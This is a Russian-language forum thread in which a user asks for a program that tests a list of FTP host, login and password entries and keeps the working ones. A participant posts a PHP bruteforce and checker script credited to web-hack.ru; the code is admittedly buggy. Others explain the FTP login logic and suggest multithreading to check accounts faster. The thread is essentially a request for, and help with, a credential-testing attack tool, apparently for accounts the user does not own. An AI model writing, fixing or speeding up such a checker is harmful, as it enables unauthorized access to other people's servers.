Просмотр полной версии : Нужна прога!
Люди помогите плз.
У меня есть файл и в нем по строкава написаны:
ftphost:login:pass.
То есть в каждой строке есть адрес фтп и к нему логин и пасс, и все это разделяется двоеточием ':'.
Нужна прога которая по отсеивала те фтп к которым пасс не подходит.
Заранее спасибо.
max_pain89
17.03.2006, 18:28
такой php скрипт можешь свободно написать, он сам будет проверять, тем более с дедика
В принцепи было бы лутчи если есть прога!
max_pain89
17.03.2006, 18:48
вот попытался веб-хаковский переделать, чето ошибка, может самисправишь
<?php
// Description: This PHP-script (passwd.php) bruteforce passwords from /etc/passwd under FTP-protocol.
// Authors: Terabyte (admin[at]web-hack.ru) and Pavel.
// Web-site: http://www.web-hack.ru
$filename="ftp.txt"; // passwd file
// FTP-server
echo "<b>Start checking...</b>";
$fp = fopen ($filename, "r");
if ($fp)
{
while (!feof ($fp)) {
$buf = fgets($fp, 100);
ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
$ftp_server=$g[0];
$ftp_user_name=$g[1];
$ftp_user_pass=$g[2];
$conn_id=ftp_connect($ftp_server);
$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if (($conn_id) && ($login_result)) {
echo "<b>".$ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
ftp_close($conn_id);}
else {
echo $ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
}
}}
?>
max_pain89 Спасибо.
Ну мне бы лутчи прогу.
Может есть у каво?
Ну что не кто не знает что ли?
Супер сложная прога - читаешь строку, разбиваешь ее на три части, конектишся к первой чати, логин -вторая часть, пароль - третья. Если сервер говорит что пас не тот, ничего не делаешь, иначе пишешь в файл, например good.txt
для начала научись читать из файла. потом научись работать с сокетами. и вот ты на финишной прямой!
тебе достаточно двух команд
User имя-пользователя
Pass пароль
Я Vs C++ уже сделал, только вот оно медлено.
Мне бы как то по быстей ))
А то 100 пассов за 20 мин. это долго ((
LordNet
а ты проводи проверку в несколько потоков.
( msdn.microsoft.com->CreateThread() )
+ если ты (вдруг) на диалапе - то может не так уж и медленно.
Наверное скорость соединения зависит от среды разработки, в который был сделан твой чекер... ?
msdn.microsoft.com
Да ладно линий раз туда ходить ненадо, про потоки
так можно расказать:
Проц. время рапределяется между потоками (а не процессами). Это делает планировщик. У каждого процесса есть как минимум один поток, иначе его уничтожает система. Этот поток и выполняет код.
Можно создать ещё потоки, которые будут выполняться
псевдо-одновременно с главным и всеми остальными.
Это делается ф-ией CreateThread(), которая возвращает
хендл созданого потока. А последний параметр - адрес
DWORD'а, куда будет записан Thread ID (номер потока).
Пример
DWORD WINAPI MyThrFunc( LPVOID param )
{
MessageBox( 0, "In thread", "Info", 0 );
return 0;
}
потом
DWORD dwThreadId;
CreateThread( NULL, NULL, MyThrFunc, NULL, NULL, &dwThreadId );
Описание ф-ии
CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
Убить нить можно
hThread = CreateThread( ... );
TerminateThread( hThread );
ф-ии из kernel32.dll
обращаются к ZwCreateThread, ZwResumeThread...
Вот так вкратце ...
Я знаю мне кто то про потоки говарили.
Я просто только как 2 недели VS c++ учу.
Шас буду читать про потоки )))
KEZ спасибо что объяснил
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot